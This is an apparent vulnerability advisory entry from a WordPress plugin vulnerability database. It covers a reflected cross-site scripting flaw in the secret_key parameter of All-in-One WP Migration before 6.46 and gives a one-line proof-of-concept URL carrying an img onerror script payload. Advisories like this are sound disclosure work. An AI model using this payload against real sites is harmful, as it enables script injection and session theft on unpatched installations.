WordPress Plugin Vulnerabilities
All-in-One WP Migration < 6.46 - Reflected Cross-Site Scripting (XSS)
Description
All-in-One WP Migration is vulnerable to Reflected Cross-Site Scripting on secret_key parameter.
Proof of Concept
http://example.com/wp-admin/admin-ajax.php?action=ai1wm_status&secret_key="}<img src=x onerror=alert(1)><!--
Affects Plugins
Fixed in 6.46 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Submitter
Oways
Submitter twitter
Verified
No
WPVDB ID
Timeline
Publicly Published
2017-06-20 (about 6 years ago)
Added
2017-06-21 (about 6 years ago)
Last Updated
2021-03-23 (about 2 years ago)
WPScan 